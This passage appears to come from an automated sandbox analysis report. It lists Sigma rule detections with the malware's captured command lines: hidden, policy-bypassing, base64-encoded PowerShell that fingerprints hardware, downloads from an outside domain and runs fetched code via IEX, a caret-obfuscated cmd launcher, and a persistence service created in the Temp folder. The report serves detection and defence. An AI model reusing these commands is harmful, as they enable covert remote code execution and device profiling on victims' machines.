            Source: Process startedAuthor: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution
            Sigma detected: Suspicious Encoded PowerShell Command Line
            Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQB
            Sigma detected: Suspicious New Service Creation
            Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8668, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 8772, ProcessName: sc.exe
            Sigma detected: Suspicious PowerShell Encoded Command Patterns
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQB
            Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
            Source: Event LogsAuthor: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 628fecdc-c3ce-4544-bc89-029fceeec080 Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 74758642-4195-416e-9ae3-02f3d3fe0753 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 628fecdc-c3ce-4544-bc89-029fceeec080 Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 74758642-4195-416e-9ae3-02f3d3fe0753 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"
            Sigma detected: Suspicious PowerShell Parameter Substring
            Source: Process startedAuthor: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine|base64offset|contains: <D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4148, ParentProcessName: cmd.exe, ProcessCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , ProcessId: 7764, ProcessName: powershell.exe
            Sigma detected: Change PowerShell Policies to an Insecure Level
            Source: Process startedAuthor: frack113: Data: Command: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" , CommandLine|base64offset|contains: <D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4148, ParentProcessName: cmd.exe, ProcessCommandLine: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand 